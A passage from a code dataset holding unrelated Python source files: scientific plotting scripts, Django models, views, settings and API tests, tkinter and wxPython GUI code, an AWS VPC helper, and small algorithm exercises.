args.rebin, args.uncertainties, args.hist_file, args.scale)\n except ValueError as e:\n logging.warning('\\033[91m'+ str(e)+'\\033[0m')\n continue\n if args.data != 'none':\n if args.hist_file == \"\":\n data_hist = helper.getConfigHistFromTree(config_factory, args.data, args.selection, \n branch_name, args.channels, args.blinding, 1, not args.no_overflow, args.rebin, \n cut_string)\n else:\n data_hist = helper.getConfigHistFromFile(args.hist_file, config_factory, args.data, \n args.selection, branch_name, args.channels,addOverflow=(not args.no_overflow), rebin=args.rebin)\n with open(\"temp.txt\", \"a\") as events_log_file:\n events_log_file.write(\"\\nNumber of events in data: %i\\n\" % data_hist.Integral())\n else:\n data_hist = 0\n signal_stack = 0\n if len(args.signal_files) > 0:\n signal_filelist = UserInput.getListOfFiles(args.signal_files, args.selection)\n signal_stack = getStacked(\"signal_stack_\"+branch_name, config_factory, args.selection, signal_filelist, \n branch_name, args.channels, args.blinding, not args.no_overflow, args.latex, cut_string,\n args.luminosity, args.rebin, args.uncertainties, args.hist_file)\n hist_stacks.append(hist_stack)\n signal_stacks.append(signal_stack)\n data_hists.append(data_hist)\n if not hist_stacks:\n continue\n name = branch.replace(\"+\",\"_\")\n plot_name = name if args.append_to_name == \"\" else \"_\".join([name, args.append_to_name])\n\n #embed()\n canvas = helper.makePlots(hist_stacks, data_hists, name, args, signal_stacks)\n\n #ratioPad = canvas.GetListOfPrimitives().FindObject(\"ratioPad\")\n #stackPad = canvas.GetListOfPrimitives().FindObject(\"stackPad\")\n #ratiohist = ratioPad.GetListOfPrimitives().FindObject('%s_canvas_central_ratioHist' % name)\n #for i in ratioPad.GetListOfPrimitives(): print i\n #xaxis = hist.GetXaxis()\n #xaxis.SetLabelOffset(1.2)\n\n helper.savePlot(canvas, plot_path, html_path, plot_name, True, args)\n makeSimpleHtml.writeHTML(html_path.replace(\"/plots\",\"\"), args.selection)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"makeHistStack.py","file_name":"makeHistStack.py","file_ext":"py","file_size_in_byte":9986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"224233216","text":"import scipy.linalg as la\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\ndef set_axes_radius(ax, origin, radius):\n # https://stackoverflow.com/a/50664367\n ax.set_xlim3d([origin[0] - radius, origin[0] + radius])\n ax.set_ylim3d([origin[1] - radius, origin[1] + radius])\n ax.set_zlim3d([origin[2] - radius, origin[2] + radius])\n\n\ndef set_axes_equal(ax):\n '''Make axes of 3D plot have equal scale so that spheres appear as spheres,\n cubes as cubes, etc.. This is one possible solution to Matplotlib's\n ax.set_aspect('equal') and ax.axis('equal') not working for 3D.\n\n Input\n ax: a matplotlib axis, e.g., as output from plt.gca().\n '''\n\n limits = np.array([\n ax.get_xlim3d(),\n ax.get_ylim3d(),\n ax.get_zlim3d(),\n ])\n\n origin = np.mean(limits, axis=1)\n radius = 0.5 * np.max(np.abs(limits[:, 1] - limits[:, 0]))\n set_axes_radius(ax, origin, radius)\n\n\ndef solve(xyz):\n \"\"\" Solve for normal vector and regression error using la.lstsq\n Expects xyz to be a numpy array with the data \n x, y, and z as column vectors\n \"\"\"\n means = xyz.mean(0)\n Nml = xyz - means\n idx = np.argmin(Nml.max(0) - Nml.min(0))\n indices = [0, 1, 2]\n indices.remove(idx)\n M = Nml[:, indices]\n w = Nml[:, idx]\n p = la.inv(M.T@M)@M.T@w\n normal = np.insert(-p[:], idx, 1)\n return normal, means\n\n\ndef test(n=1000, noise=10, offset=50):\n \"\"\"\n Test the least squares algorithm with a point cloud \n with a given number of points, noise level and offset\n \"\"\"\n p = (np.random.rand(3) - 0.5)\n p[0] = 0\n xyz = (np.random.rand(n, 3) - 0.5)*100\n xyz[:, 0] = xyz@p + (np.random.rand(n)-.5)*noise + offset\n normal, means = solve(xyz)\n print(\"normal vector 'normal': \", normal)\n print(\"center point 'means': \", means)\n\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n ax.set_aspect('equal')\n ax.scatter(xyz[:, 0], xyz[:, 1], xyz[:, 2])\n data = list(zip(means, means + normal * 10))\n ax.plot(*data, 'r')\n set_axes_equal(ax)\n plt.show()\n","sub_path":"planefit3.py","file_name":"planefit3.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"426676918","text":"import types\nfrom paws.aws.subnet import Subnet\nfrom paws.util import add_property\n\nclass Vpc(object):\n @classmethod\n def patch(cls, boto, boto_vpc):\n def get_name(self):\n return str(self.tags[\"Name\"])\n\n def set_name(self, name):\n self.add_tag(\"Name\", name)\n\n def get_subnets(self):\n all_subnets = self.boto.vpc_connection().get_all_subnets()\n return [subnet for subnet in all_subnets if subnet.vpc_id == self.id]\n\n def get_subnet(self, cidr_block):\n subnets = self.get_subnets()\n for subnet in subnets:\n if subnet.cidr_block == cidr_block:\n # Add our extra methods to Boto's subnet object\n return Subnet.patch(subnet)\n raise Exception(\"No subnet found in VPC with CIDR block '\" + cidr_block + \"'\")\n\n def create_subnet(self, name, cidr_block, az):\n vpc_conn = self.boto.vpc_connection()\n subnet = vpc_conn.create_subnet(self.id, cidr_block, az)\n subnet = Subnet.patch(subnet)\n subnet.name = name\n return subnet\n\n def get_security_group(self, identifier):\n ec2_conn = self.boto.ec2_connection()\n if identifier.startswith(\"sg-\"):\n security_groups = ec2_conn.get_all_security_groups(group_ids = [ identifier ] )\n security_groups = [ sg for sg in security_groups if sg.vpc_id == self.id ]\n else:\n security_groups = ec2_conn.get_all_security_groups( filters = { 'group-name' : identifier, 'vpc-id': self.id } )\n if len(security_groups) == 0:\n raise Exception(\"Security group '%s' not found in VPC '%s'\" % (identifier, self.id))\n elif len(security_groups) > 1:\n raise Exception(\"Multiple security groups matching '%s' found in VPC '%s': %s\" % (identifier, self.id, security_groups))\n return security_groups[0]\n\n def create_security_group(self, name, description):\n ec2_conn = self.boto.ec2_connection()\n return ec2_conn.create_security_group(name, description, self.id)\n\n def get_network_acls(self):\n vpc_connection = self.boto.vpc_connection()\n return vpc_connection.get_all_network_acls(filters = {\"vpc-id\" : self.id})\n\n boto_vpc.boto = boto\n add_property(boto_vpc, 'name', property(get_name, set_name))\n boto_vpc.get_subnets = types.MethodType(get_subnets, boto_vpc)\n boto_vpc.get_subnet = types.MethodType(get_subnet, boto_vpc)\n boto_vpc.create_subnet = types.MethodType(create_subnet, boto_vpc)\n boto_vpc.get_security_group = types.MethodType(get_security_group, boto_vpc)\n boto_vpc.create_security_group = types.MethodType(create_security_group, boto_vpc)\n boto_vpc.get_network_acls = types.MethodType(get_network_acls, boto_vpc)\n return boto_vpc\n","sub_path":"paws/aws/vpc.py","file_name":"vpc.py","file_ext":"py","file_size_in_byte":2942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"383510307","text":"\"\"\"\nперемещение с применением тегов и функции time.sleep (без помощи метода widget.\nafter или потоков выполнения); функция time.sleep не блокирует цикл событий\nграфического интерфейса на время паузы, но интерфейс не обновляется до выхода из\nобработчика или вызова метода widget.update; текущему вызову обработчика onMove\nуделяется исключительное внимание, пока он не вернет управление: если в процессе\nперемещения нажать клавишу 'R' или 'O';\n\"\"\"\nfrom tkinter import *\nfrom GUI.gui2 import canvasDraw\nimport time\n\n\nclass CanvasEventsDemo(canvasDraw.CanvsEventsDemo):\n def __init__(self, parent=None):\n canvasDraw.CanvsEventsDemo.__init__(self, parent)\n self.canvas.create_text(100, 10, text='Press O and R to move shapes')\n self.canvas.master.bind('', self.onMoveOvals)\n self.canvas.master.bind('', self.onMoveRectangles)\n self.kinds = self.create_oval_tagged, self.create_rectangle_tagged\n \n def create_oval_tagged(self, x1, y1, x2, y2):\n objectId = self.canvas.create_oval(x1, y1, x2, y2)\n self.canvas.itemconfig(objectId, tag='ovals', fill='blue')\n return objectId\n \n def create_rectangle_tagged(self, x1, y1, x2, y2):\n objectId = self.canvas.create_rectangle(x1, y1, x2, y2)\n self.canvas.itemconfig(objectId, tag='rectangles', fill='red')\n return objectId\n \n def onMoveOvals(self, event):\n print('moving ovals')\n self.moveInSquares(tag='ovals') # переместить все овалы с данным тегом\n\n def onMoveRectangles(self, event):\n print('moving rectangles')\n self.moveInSquares(tag='rectangles')\n\n def moveInSquares(self, tag): # 5 повторений по 4 раза в секунду\n for i in range(5):\n for (diffx, diffy) in [(+20, 0), (0, +20), (+20, 0), (0, +20)]:\n self.canvas.move(tag, diffx, diffy)\n self.canvas.update() # принудительно обновить изображение\n time.sleep(0.25) # пауза, не блокирующая интерфейс\n\n\nif __name__ == '__main__':\n CanvasEventsDemo()\n mainloop()","sub_path":"canvasDraw_tags.py","file_name":"canvasDraw_tags.py","file_ext":"py","file_size_in_byte":2506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"226725929","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.template import loader\n\nfrom machina.conf import settings as machina_settings\n\n\nclass BaseEmail(object):\n subject_template = ''\n html_template = ''\n text_template = ''\n from_email = None\n context = None\n\n @property\n def html(self):\n return self.render_template_content(self.html_template)\n\n @property\n def plain_text(self):\n return self.render_template_content(self.text_template)\n\n @property\n def subject(self):\n content = self.render_template_content(self.subject_template)\n # The subject might contain newlines etc. so strip and combine it\n # into one line.\n return ' '.join(content.splitlines()).strip()\n\n def __init__(self, from_email=None):\n self.from_email = from_email or machina_settings.DEFAULT_FROM_EMAIL\n\n assert self.from_email, 'DEFAULT_FROM_EMAIL in settings is missing.'\n\n def get_context_data(self, **kwargs):\n \"\"\"\n Return context to be in use for rendering templates.\n \"\"\"\n context = {}\n context.update(**kwargs)\n return context\n\n def render_template_content(self, template_name):\n \"\"\"\n Render content for the email template with context.\n \"\"\"\n return loader.get_template(template_name).render(\n self.get_context_data(**self.context))\n\n def send(self, to_emails, context=None, fail_silently=True):\n \"\"\"\n Send the email.\n \"\"\"\n if not self.context:\n self.context = {}\n\n if context:\n self.context.update(context)\n\n msg = EmailMultiAlternatives(\n self.subject,\n self.plain_text,\n self.from_email,\n to_emails,\n )\n\n if self.html_template:\n msg.attach_alternative(self.html, \"text/html\")\n\n msg.send(fail_silently=fail_silently)\n","sub_path":"machina/core/emails.py","file_name":"emails.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"508378440","text":"from django.contrib.auth.models import Group, User\nfrom django.urls import reverse\nfrom rest_framework import status\n\nfrom peering.models import AutonomousSystem\nfrom utils.testing import APITestCase, StandardAPITestCases\n\n\nclass AppTest(APITestCase):\n def test_root(self):\n response = self.client.get(reverse(\"users-api:api-root\"), **self.header)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n\nclass GroupTest(StandardAPITestCases.View):\n model = Group\n view_namespace = \"users\"\n brief_fields = [\"id\", \"name\", \"url\"]\n create_data = [\n {\"name\": \"Group 4\"},\n {\"name\": \"Group 5\"},\n {\"name\": \"Group 6\"},\n ]\n\n @classmethod\n def setUpTestData(cls):\n Group.objects.bulk_create(\n [Group(name=\"Group 1\"), Group(name=\"Group 2\"), Group(name=\"Group 3\")]\n )\n\n\nclass UserTest(StandardAPITestCases.View):\n model = User\n view_namespace = \"users\"\n brief_fields = [\"id\", \"url\", \"username\"]\n create_data = [\n {\"username\": \"User_4\"},\n {\"username\": \"User_5\"},\n {\"username\": \"User_6\"},\n ]\n\n @classmethod\n def setUpTestData(cls):\n User.objects.create(username=\"User_1\")\n User.objects.bulk_create([User(username=\"User_2\"), User(username=\"User_3\")])\n\n def test_set_context_as(self):\n affiliated = AutonomousSystem.objects.create(\n asn=201281, name=\"Guillaume Mazoyer\", affiliated=True\n )\n a_s = AutonomousSystem.objects.create(asn=65000, name=\"ACME\")\n user = User.objects.get(username=\"User_1\")\n\n url = reverse(\n \"users-api:user-set-context-as\",\n kwargs={\"pk\": user.pk},\n )\n\n data = {\"as_id\": affiliated.pk}\n response = self.client.patch(url, data, format=\"json\", **self.header)\n self.assertStatus(response, status.HTTP_200_OK)\n self.assertEqual(user.preferences.get(\"context.as\"), affiliated.pk)\n\n data = {\"as_id\": a_s.pk}\n response = self.client.patch(url, data, format=\"json\", **self.header)\n self.assertStatus(response, status.HTTP_404_NOT_FOUND)\n self.assertEqual(user.preferences.get(\"context.as\"), affiliated.pk)\n","sub_path":"users/tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":2185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"645425828","text":"class Solution(object):\r\n def reverse(self, x):\r\n \"\"\"\r\n :type x: int\r\n :rtype: int\r\n \"\"\"\r\n y, result = str(x), ''\r\n for i in y:\r\n result = i + result\r\n if result.endswith('-'):\r\n result = '-' + result[:-1]\r\n result = int(result)\r\n if result.bit_length() > 31:\r\n return 0\r\n return result\r\n","sub_path":"Algorithms/007.ReverseInteger.py","file_name":"007.ReverseInteger.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"141385825","text":"from django.db import models\nfrom .cotizacion_dolar import Cotizacion\n\n\n# Create your models here.\nclass Product(models.Model):\n name = models.CharField(max_length=100)\n price = models.FloatField(default=0.0)\n stock = models.IntegerField(default=0)\n\n def __str__(self):\n return self.name\n\n\nclass Order(models.Model):\n date_time = models.DateTimeField('date order', auto_now_add=True, blank=True)\n\n def __str__(self):\n return str(self.date_time)\n\n def get_total(self):\n total = 0\n for od in self.orderdetail_set.all():\n total = total + (od.product.price * od.quantity)\n formatted_float = \"{:.2f}\".format(total)\n return formatted_float\n\n def get_total_usd(self):\n cotizacion = Cotizacion.get_cotizacion_dolar_blue()\n total_usd = 0\n total_usd = float(self.get_total()) / cotizacion\n formatted_float = \"{:.2f}\".format(total_usd)\n return formatted_float\n\n def delete(self, *args, **kwargs):\n for od in self.orderdetail_set.all():\n od.product.stock = od.product.stock + od.quantity\n od.product.save()\n super().delete(*args, **kwargs)\n\n\nclass OrderDetail(models.Model):\n order = models.ForeignKey(Order, on_delete=models.CASCADE)\n quantity = models.IntegerField(default=0)\n product = models.ForeignKey(Product, on_delete=models.CASCADE)\n\n def __init__(self, *args, **kwargs):\n super(OrderDetail, self).__init__(*args, **kwargs)\n self.old_quantity = self.quantity\n\n def __str__(self):\n return \"Order: \" + str(self.order) + \" product: \" + self.product.name\n\n def save(self, *args, **kwargs):\n if self.id:\n diff_quantity = self.old_quantity - self.quantity\n self.product.stock = self.product.stock + diff_quantity\n self.product.save()\n else:\n self.product.stock = self.product.stock - self.quantity\n self.product.save()\n\n super().save(*args, **kwargs)","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"90732389","text":"import math\nimport time\n\nfrom Tkinter import *\n\nclass Visualization:\n def __init__(self, board, index, delay):\n self.delay = delay\n self.board = board\n self.index = index\n\n self.width = len(self.board[0][0])\n self.height = len(self.board[0])\n self.max_dim = max(self.width, self.height)\n\n # Initialize a drawing surface\n self.master = Tk()\n self.w = Canvas(self.master, width = 1000, height = 1000)\n self.w.pack()\n self.master.update()\n\n # Draw a backing and lines\n x1, y1 = self._map_coords(0, 0)\n x2, y2 = self._map_coords(self.width, self.height)\n self.w.create_rectangle(x1, y1, x2, y2, fill = \"grey\")\n\n self.text = self.w.create_text(25, 0, anchor = NW, text = self._status_string())\n self.id_text = None\n self.time = 0\n self.master.update()\n\n for i in range(self.width+1):\n x1, y1 = self._map_coords(i,0)\n x2, y2 = self._map_coords(i,self.height)\n self.w.create_line(x1, y1, x2, y2)\n for i in range(self.height):\n x1, y1 = self._map_coords(0, i)\n x2, y2 = self._map_coords(self.width, i)\n self.w.create_line(x1, y1, x2, y2)\n\n def _status_string(self):\n # \"Returns an appropriate status string to print.\"\n self.moves = self.moves + 1\n return \"moves: \", self.moves\n\n def _map_coords(self, x, y):\n # \"Maps grid positions to window positions (in pixels).\"\n return (250 + 450 * ((x - self.width / 2.0) / self.max_dim),\n 250 + 450 * ((y - self.height / 2.0) / self.max_dim))\n\n def _draw_grid(self, board, each):\n for i in range(board.height):\n for j in range(board.width):\n if board.start[i][j] == each:\n x = j\n y = i\n\n if each in self.board.horizontal:\n x += 1\n x1, y1 = self._map_coords(x, y)\n color = \"blue\"\n if each == 1:\n color = \"red\"\n x2, y2 = self._map_coords(x-self.board.horizontal[each], y+1)\n return self.w.create_rectangle(x1, y1, x2, y2, fill = color)\n elif each in self.board.vertical:\n y += 1\n x1, y1 = self._map_coords(x, y)\n x2, y2 = self._map_coords(x+1, y-self.board.vertical[each])\n return self.w.create_rectangle(x1, y1, x2, y2, fill = \"green\")\n\n def update(self, board):\n\n if self.cars:\n for car in self.cars:\n self.w.delete(car)\n self.master.update_idletasks()\n\n self.cars = []\n self.id_text = []\n\n # draw cars\n for each in self.board.vertical:\n self.cars.append(self._draw_grid(board, each))\n for each in self.board.horizontal:\n self.cars.append(self._draw_grid(board, each))\n # self.id_text.append(self._draw_ids(car))\n counter = 0\n self.w.delete(self.text)\n self.time += 1\n self.text = self.w.create_text(25, 0, anchor = NW, text = self._status_string())\n self.master.update()\n time.sleep(self.delay)\n\n def done(self):\n mainloop()\n","sub_path":"Python_Scripts/py2/JPBruteForce/vizualize.py","file_name":"vizualize.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"38044954","text":"from bs4 import BeautifulSoup as parse_html\nfrom cssutils import parseFile as parse_css\n\n\n# Change this to point to your css file.\nstylesheet = parse_css('screen.css', href='../')\n# Change this to point to your HTML file.\nhtml_doc = parse_html(open('index.html'))\n\n# Some selectors are duplicates from this, if a selector is repeated or\n# stacked selectors are used.\nall_selectors = [(rule.selectorText) for rule in stylesheet.cssRules]\nindividual_selectors = [selector.split(', ') for selector in all_selectors]\n# Flatten the list\nindividual_selectors = reduce(lambda x, y: x + y, individual_selectors)\n# Drop all duplicates.\nindividual_selectors = set(individual_selectors)\n\nunused_selectors = []\nused_selectors = []\nfor selector in individual_selectors:\n nodes = html_doc.select(str(selector))\n # If the selector returns no matches, the selector is unused.\n if not nodes:\n unused_selectors.append(selector)\n else:\n used_selectors.append(selector)\n\nprint(\"Unused selectors ----------------------------------------\")\nprint(unused_selectors)\nprint(\"Used selectors ----------------------------------------\")\nprint(used_selectors)\n","sub_path":"extraneoucss/extraneoucss.py","file_name":"extraneoucss.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"325127004","text":"from utils.models import TWEET, Base\r\nimport sqlalchemy\r\nfrom sqlalchemy.orm import sessionmaker\r\nfrom collecte import influence\r\nimport json\r\nimport config\r\nfrom config.config import FICHIER_BDD_TEST\r\n\r\n\r\n# Connection à la BDD de test\r\nengine = sqlalchemy.create_engine(FICHIER_BDD_TEST, echo=False)\r\nSession = sessionmaker(bind=engine)\r\nsession = Session()\r\nBase.metadata.create_all(engine)\r\n\r\n\r\ndef test_influence_collected(monkeypatch):\r\n def mockreturn(id):\r\n with open(\"tests/sample_influence.json\", \"r\") as f:\r\n res = json.load(f)\r\n return res\r\n\r\n monkeypatch.setattr(config.config.API, 'lookup_status', mockreturn)\r\n influence.main(2018, session)\r\n\r\n tweet1 = session.query(TWEET).get(1050302617165983744)\r\n tweet2 = session.query(TWEET).get(1050303301911232513)\r\n tweet3 = session.query(TWEET).get(1051014633346256897)\r\n tweet4 = session.query(TWEET).get(1051446416634195968)\r\n\r\n assert tweet1.retweet_count == 4\r\n assert tweet2.retweet_count == 258\r\n assert tweet3.fav_count == 1404\r\n assert tweet4.fav_count == 14\r\n","sub_path":"tests/Test_3twitter_influence.py","file_name":"Test_3twitter_influence.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"643441579","text":"from .base import *\n\nsecrets_base = json.loads(open(SECRET_DEV, 'rt').read())\n# set_config(secrets_base, module_name=__name__, start=False)\n\nDATABASES = secrets_base['DATABASES']\n\nINSTALLED_APPS += [\n 'django_extensions',\n 'storages',\n]\n\nDEBUG = True\n\nALLOWED_HOSTS = [\n 'localhost',\n '.amazonaws.com',\n '.elasticbeanstalk.com',\n]\n\n# Media(user-uploaded file)을 위한 스토리지\nDEFAULT_FILE_STORAGE = 'config.storage.DefaultFileStorage'\n# Static files(collectstatic) 을 위한 스토리지\nSTATICFILES_STORAGE = 'config.storage.StaticFileStorage'\n\nWSGI_APPLICATION = 'config.wsgi.dev.application'\n","sub_path":"app/config/settings/dev.py","file_name":"dev.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"139271464","text":"# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\nimport wx\nimport armid\nimport ARM\nfrom QuotationPanel import QuotationPanel\nfrom Borg import Borg\n\nclass QuotationDialog(wx.Dialog):\n def __init__(self,parent):\n wx.Dialog.__init__(self,parent,-1,'Edit Quotation',style=wx.DEFAULT_DIALOG_STYLE|wx.MAXIMIZE_BOX|wx.THICK_FRAME|wx.RESIZE_BORDER,size=(400,500))\n b = Borg()\n self.dbProxy = b.dbProxy\n self.theOldStartIdx = -1 \n self.theOldEndIdx = -1 \n mainSizer = wx.BoxSizer(wx.VERTICAL)\n self.panel = QuotationPanel(self)\n mainSizer.Add(self.panel,1,wx.EXPAND)\n self.SetSizer(mainSizer)\n wx.EVT_BUTTON(self,armid.QUOTATION_BUTTONCOMMIT_ID,self.onCommit)\n\n def load(self,codeName,atName,aName,startIdx,endIdx,synopsis,label):\n self.theOldStartIdx = startIdx\n self.theOldEndIdx = endIdx\n codeCtrl = self.FindWindowById(armid.QUOTATION_TEXTCODE_ID)\n atCtrl = self.FindWindowById(armid.QUOTATION_TEXTARTIFACTTYPE_ID)\n anCtrl = self.FindWindowById(armid.QUOTATION_TEXTARTIFACTNAME_ID)\n srcCtrl = self.FindWindowById(armid.QUOTATION_TEXTSOURCE_ID)\n synCtrl = self.FindWindowById(armid.QUOTATION_TEXTSYNOPSIS_ID)\n lblCtrl = self.FindWindowById(armid.QUOTATION_TEXTLABEL_ID)\n\n codeCtrl.SetValue(codeName)\n atCtrl.SetValue(atName)\n anCtrl.SetValue(aName)\n srcTxt = self.dbProxy.artifactText(atName,aName)\n srcCtrl.SetValue(srcTxt)\n srcCtrl.SetSelection(startIdx,endIdx)\n synCtrl.SetValue(synopsis)\n lblCtrl.SetValue(label)\n\n def onCommit(self,evt):\n commitLabel = 'Update quotation'\n\n codeCtrl = self.FindWindowById(armid.QUOTATION_TEXTCODE_ID)\n atCtrl = self.FindWindowById(armid.QUOTATION_TEXTARTIFACTTYPE_ID)\n anCtrl = self.FindWindowById(armid.QUOTATION_TEXTARTIFACTNAME_ID)\n srcCtrl = self.FindWindowById(armid.QUOTATION_TEXTSOURCE_ID)\n synCtrl = self.FindWindowById(armid.QUOTATION_TEXTSYNOPSIS_ID)\n lblCtrl = self.FindWindowById(armid.QUOTATION_TEXTLABEL_ID)\n\n codeName = codeCtrl.GetValue()\n atName = atCtrl.GetValue()\n aName = anCtrl.GetValue()\n synopsis = synCtrl.GetValue()\n label = lblCtrl.GetValue()\n \n startIdx,endIdx = srcCtrl.GetSelection()\n if (startIdx == endIdx):\n dlg = wx.MessageDialog(self,'Selection must be made',commitLabel,wx.OK) \n dlg.ShowModal()\n dlg.Destroy()\n return\n elif startIdx == self.theOldStartIdx and endIdx == self.theOldEndIdx:\n self.EndModal(wx.ID_CLOSE)\n b = Borg()\n b.dbProxy.updateQuotation(codeName,atName,aName,self.theOldStartIdx,self.theOldEndIdx,startIdx,endIdx,synopsis,label)\n self.EndModal(armid.QUOTATION_BUTTONCOMMIT_ID)\n","sub_path":"cairis/cairis/QuotationDialog.py","file_name":"QuotationDialog.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"234463970","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 27 08:18:40 2016\n\n@author: Josiah D. Kunz\n\"\"\"\nfrom pylab import *\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\nion()\nrho=0\nnpart=10000 #15000\nr=4\n\n\nx=[]\ny=[]\nmeans=[0,0]\ncov=[[1.3,0],[0,1.3]]\nfor i in arange(-r,r,r*2./npart):\n a,b=np.random.multivariate_normal(means,cov)\n x.append(a)\n y.append(b)\n \n\"\"\"\nx=2*r*(rand(npart)-1./2)\ny=2*r*(rand(npart)-1./2)\n\"\"\"\n\nx=np.asarray(x)\ny=np.asarray(y)\nfig=plt.figure(figsize=(15,10))\nax=fig.add_subplot(111,projection='rectilinear')\nax.set_xlim(-r,r)\nax.set_ylim(-r,r)\nax.scatter(x,y,alpha=0.5)\n\nfontsize=40\ntitle(r\"x-$\\theta$ phase space\",fontsize=fontsize)\nxlabel(\"x (cm)\",fontsize=fontsize)\nylabel(r\"$\\theta$ (mrad)\",fontsize=fontsize)\nplt.setp(ax.get_xticklabels(),fontsize=fontsize/2.)\nplt.setp(ax.get_yticklabels(),fontsize=fontsize/2.)\n\nx=np.linspace(-r,r,npart/10)\ny=np.linspace(-r,r,npart/10)\nx,y=np.meshgrid(x,y)\nsx=cov[0][0]\nsy=cov[1][1]\nsxy=cov[0][1]\nCS=plt.contour(x,y,((x**2*sy**2-2*x*y*sxy+y**2*sx**2)/(2*(sx**2*sy**2-sxy**2))-1),[0],colors='red')\nplt.setp(CS.collections[0],linewidth=4)\n#ax.add_artist(matplotlib.patches.Ellipse((0,-0.033),w,h,angle=7,alpha=0.5,fill=0,color='r'))\nshow()","sub_path":"Thesis/Thesis v17/Figures/scripts/emittance examples.py","file_name":"emittance examples.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"471088852","text":"class Solution:\n def crackSafe(self, n: int, k: int) -> str:\n permutations = self.find_all_permutations(n, k)\n\n all_paths = []\n for node in permutations:\n all_paths += self.df_traversal(permutations, node, set())\n\n final_strs = []\n for path in all_paths:\n final_strs.append(self.compress_str(path))\n\n return min(final_strs, key=len)\n # 012345879\n\n def df_traversal(self, nodes, curr_node, visited):\n if curr_node in visited:\n return []\n\n visited.add(curr_node)\n\n if len(visited) == len(nodes):\n return [[curr_node]]\n\n output = []\n for neighbor in nodes:\n output += self.df_traversal(nodes, neighbor, set(visited))\n\n for path in output:\n path.append(curr_node)\n\n return output\n\n def find_all_permutations(self, n, k):\n if n == 0:\n return [\"\"]\n\n output = []\n for i in range(k):\n subs = self.find_all_permutations(n - 1, k)\n for sub in subs:\n output.append(sub + str(i))\n\n return output\n\n def compress_str(self, path):\n output = path[0]\n\n for choice in path[1:]:\n for idx in range(len(choice), -1, -1):\n if output.endswith(choice[:idx]):\n output += choice[idx:]\n break\n\n return output\n\n\n# ['11', '10', '01x', '00']\n\n# 001101\n\n# [[], [], []]\n\n# [ '001', '010 , '100' ]\n# '00100'\n\n\n# debruijn sequence\ntest = Solution()\n# print(test.find_all_permutations(2, 2))\nprint(test.crackSafe(1, 10))\n# print(test.compress_str(['001', '010', '100']))\n# '00100'\n\n\n# [ '001', '010 , '100' ]\n# '00100\n# [100, 001]\n# [1001]\n\n# print(test.crackSafe(2, 2))\n\n\n# \"00\" \"01\" \"10\" \"11\"\n\n# n = 2\n# k = 3 (0 1 2)\n\n# permutation\n# 01\n# 10\n# Example 2\n# Input: n = 2, k = 2\n# Output: \"00110\"\n# Note: \"01100\", \"10011\", \"11001\" will be accepted too.\n\n# 00\n# 11\n# 01\n# 10\n\n# \"\"\" \"00\" \"01\" \"10\" \"11\"\n# n=2, k=2\n# 0/ \\1\n# \"0\" n=1 \"1\" n=1\n# 0/ \\1 0/ \\1\n# n=0 n=0\n# \"\"\n# \"\"\"\n\n\n# \"00\" \"01\" \"10\" \"11\"\n\n# 00 - 01\n# | | \\\n# | 11 - 10\n# | |\n# - - -\n\n# visited\n# 00110\n\n# k = 2\n# n = 3\n\n# 000 001 010 011 100 101 110 111\n","sub_path":"90.py","file_name":"90.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"318139252","text":"from django.shortcuts import render, redirect\nfrom .models import League, Team, Player\nfrom django.db.models import Count\nfrom . import team_maker\n\n\"\"\"\niterate over team's current players in template:\n\tteam.curr_players.all\niterate over team's current players in view:\n\tteam.curr_players.all()\n\"\"\"\n\ndef index(request):\n\t\t# 1 \"atlantic_soccer_conference_teams\": 